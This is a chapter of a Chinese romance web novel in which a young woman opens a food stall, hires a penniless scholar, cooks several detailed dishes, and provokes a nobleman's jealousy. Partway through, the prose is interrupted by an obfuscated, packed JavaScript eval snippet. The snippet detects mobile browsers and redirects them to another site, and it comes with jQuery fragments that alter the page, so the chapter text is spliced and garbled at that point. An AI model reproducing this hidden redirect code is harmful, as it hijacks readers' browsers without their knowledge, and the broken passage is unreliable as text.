28. 酸意初萌
作品:《这个黑心莲是不是有病?》 苏若卿诧异地回头,见这个穿着长衫的男子,正站在自己的摊子前。
男子目光紧盯着那些糕点,衣衫虽旧,洗得发白,却还算齐整。只是人太瘦,颧骨凸出,眼窝深陷,像饿了许久。
苏若卿心中一动:“能吃。”将剩下的绿豆糕全用油纸包好,拿给了他。
程季没敢直接接,不好意思起来:“我、没钱付。”
耳尖肉眼可见地红了起来。
苏若卿将东西直接放在了他手上:“拿着吧,说好的是免费吃。”
“多谢姑娘。”他这才小心接过,却不急着吃,先整了整衣袖,才拈起一块,慢条斯理地送入口中。
动作斯文,带着读书人特有的矜持。
“你是今年要参加科考的举子?”苏若卿问。
程季听见她的声音,忙将手里的东西放下来,恭敬作揖:“是。”
“我是常青镇人,路上遭了劫匪,盘缠尽失,才落得如此狼狈。”
常青镇?
这个身份倒是跟她记忆中的一个人,对得上。
“你叫什么名字?”
“程季。”
对上了。
她记得,盛颂年归京后,与程季惺惺相惜,成为朋友。
帮他破获了不少的案件。
程季曾说,当年上京赶考身上所有的钱财全没了,幸得在破庙之中寻得一栖身之所,才能撑得到来年科考。
那年程季科考第一,得了赏钱便将破庙翻了新。
另外给那里的孩子们,寻了个可以容身的场所。
倒是个有情有义的人。
看看书时不觉得,此刻亲眼见他这副模样,才知“盘缠尽失”四字背后,是何等艰难。
既然是盛颂年的朋友,那自己不如就帮一把吧。
嘿嘿。
说不定,等他科举中了,还能给自己一笔好处呢。
“你可有想过,找份工作?”苏若卿开口问。
程季脸上又是一红:“进京后,便找过,寻常的账房先生嫌我是外乡人,不肯收,杂工又觉得我力气不够,一时半会儿地没找到。”
原来如此。
“我这儿招名小工,你可愿意来?”苏若卿说着,又补充了一句,“可以包吃住,就是月银少一些,一个月一两。”
“愿意愿意,”程季立刻答应了下来,生怕她反悔,“什么时候可以干活儿?”
“现在就可以。”苏若卿领着他进来。
“我这儿也是刚开张,还没什么生意,后院里面有两间房,你去收拾出来,晚上可以住进来。”
她还没想好让程季做什么。
程季忙点头去了。
眼见着时间快要正午,她还没做饭送回家里呢。
早上来的时候,顺手买了菜。
现在家里人不多,几个菜就够了。
打算做好之后,再送回家里去,也就不用另外煮了。
苏若卿买了两条鱼,打算红烧。
再买了一些虾。
天气热了,另外凉拌一个黄瓜,再来一个炒菜,也就够了。
虾清蒸便好。
鱼,她准备红烧。
在鱼身两面划上几道花刀,吸干水分后,在鱼身和鱼腹内抹上少许盐和料酒,放上几片生姜腌制。
然后去处理虾线。
虾买得不多,够柳姨娘差不多了。
然后便上锅蒸,清蒸的虾,讲究的便是调料味道。
苏若卿打算做蒜蓉香油碟。
打量蒜,切蒜末,分成两份。
一份用热油爆香至金黄,再与生蒜末混合,加入酱油、麻油,葱花拌匀即可。
苏若卿还另外调了份酱汁,准备拌黄瓜用。
黄瓜清爽,口感也要搭配好。
用陈醋、酱油、白糖、麻油,再用少许蒜末混在一起。
调好之后,虾便出锅了。
拍黄瓜也快,两道菜很快就完成了。
程季从后院收拾完出来,便见着苏若卿在厨房里忙着,主动地去厨房里面帮忙放柴添火。
他还不知道这姑娘叫什么名字呢。
但又不知道如何开口。
苏若卿忙着做菜,也没留意到他脸上的尴尬。
鱼腌制好后,热锅,烧油。
油烧得微微冒烟。
手提鱼尾,顺着锅边将鱼滑入锅中,入锅后不要马上翻动,转中火,耐心煎约2~3分钟。
轻轻晃动锅,当鱼能在锅中滑动时,底面已经定型。
再将锅铲小心地将鱼翻面,两面煎至金黄后,盛出备用。
烧汁,需要将锅中的油倒出一些。
放入葱段、姜片,大蒜,辣椒和香料,小火爆香。
将煎好的鱼放回锅中,沿着锅边淋少许烈酒,激发香气。
加入酱油、醋和白糖。
立刻倒入热水,水量没过鱼身一半。
大火烧开后再转小火,焖煮片刻后便能出锅了。
自调味开始,厨房里便一直传出烧煮的香味。
程季从没闻过这么香的味道,方才吃的几块糕点,收拾一顿后,早就空了。
闷好鱼,炒菜便快了。
不多时,几道菜便都做好了。
店里有几个食盒,苏若卿将菜分成三份,两份装入食盒内。
转身对着程季道:“将这两道菜送到永川侯府内交给怜香,就说是我送的,我姓苏,她知道怎么做。”
程季点头。
转身便出了门。
苏若卿则继续做着剩下来的绿豆糕。
程季走出门外,依旧能闻到从厨房里飘散出来的香味。
“这是谁家做饭,怎么这么香啊?”
永川侯府门外。
程季人有些局促,问着门口的小厮:“苏姑娘叫我来送饭,想找一下怜香姑娘。”
初一看着是位眼生的男子。
倒不敢随意让人进府。
“你在这儿等着,我去叫怜香出来。”初一嘱咐道。
程季应了声,便在门外候着。
正此时,一道身影自外归来。
盛祈年本未留意,却在那食盒经过身侧时,脚步顿住——这香气,太熟悉。
他侧眸看去。
是个书生模样的年轻人,衣衫旧,却干净,眉眼清秀,若换身好衣裳,大抵也能称得上“俊朗”。
“你是何人?”盛祈年声音不高,却透着一股子冷。
程季瞧着他身上衣裳不菲,忙躬身回答:“我是苏姑娘新招的伙计,她叫我送些饭菜来。”
盛祈年眸光沉了沉。
半日不见,她倒能耐——连工人都招上了,还是个这般模样的。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17175989|195121||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>不清楚他的喜怒,程季不敢再贸然说话。
此时,初一和怜香从里面出来,手里也拿着个食盒。
“世子。”怜香见盛祈年没走,便唤了一声。
程季听着,更是大气不敢出。
原来是永川侯世子。
怜香将手里的东西给了他:“以后从后门进便好,离厨房近点儿。”
既然是苏若卿找的人,自然是放心的。
程季应了一声,正要离开,便听得在身前的人忽然开口:“她给你多少月银?”
“一两,包吃住。”程季回答得恭敬。
盛祈年半眯着眼,包吃、住?
他朝着程季逼近一步,浑身上下透着危险。
“我给你月银三两,来府里,也包吃住。”
怜香和初一,立在一旁,大气不敢出一声。
什么时候见过盛祈年管过府中事务?
三两银子虽多,但程季还是挺有原则的。
况且,他心里始终觉得眼前的这个人很危险。
程季却摇头:“多谢世子美意。只是既已应下苏姑娘,便不可反悔。”
说罢作揖告辞,背影挺直,未曾回头。
盛祈年看着他离开的背影,咬牙道:“好好好,好得很呐。”
柳姨娘到了花厅,发现没有人来,怜香也只摆了一副碗筷。
“夫人呢?”
“秦嬷嬷说夫人身子有些不适,不来用饭了,厨房里留了一些给夫人,等她醒了再吃。”
柳姨娘点了点头。
怜香继续道:“世子说他有事出门,叫姨娘莫要等他了。”
柳姨娘叹了口气:“这孩子也不知道怎么了,日日不着家,要他去帮着看顾点若卿也不去,也不知道若卿那儿怎么样了。”
“姑娘那儿应该还不错,今儿就已经招到工人了,姑娘不会累着自己的。”
柳姨娘惊讶:“这么快。”
“是,方才世子也见过了。”
柳姨娘心中了然,原来如此。
自打程季出去之后,苏若卿自个儿在厨房里忙着。
灶里火势小了,手上正忙着做糕点,腾不开手。
听见身后有动静声传来,以为是程季回来了。
头也不回道:“帮我添把柴。”
那人未应声,却依言坐下,往灶里添了薪。
苏若卿也就没有多想。
直到手上的事情忙完,苏若卿回身,才瞥见灶前坐着的人,靛蓝长衫,单手支颐,一双凤眼正静静望着她。
火光在他眸中跳动,明明灭灭。
苏若卿脱口道:“你怎么来了?”
盛祈年嗤笑一声:“不能来?”声音里听不出情绪。
“你不吃饭吗?饿不饿?”
苏若卿看着他,心中也是高兴的,拿着自己刚做好的绿豆糕放在他的嘴边,“尝尝我刚做好的,豆沙馅的,保证你没吃过。”
糕点还温着,豆香混着淡淡甜气,直往鼻尖钻。
盛祈年垂眸,看着她纤细的手指,和那截从袖口露出的皓腕。
他张口,咬下。
糕体绵软,豆沙清甜,竟真不腻。
心底那股莫名的烦闷,消散了些许。
就在这时,厨房门口传来一声压抑的低呼。
“你、你们在做干什么?”

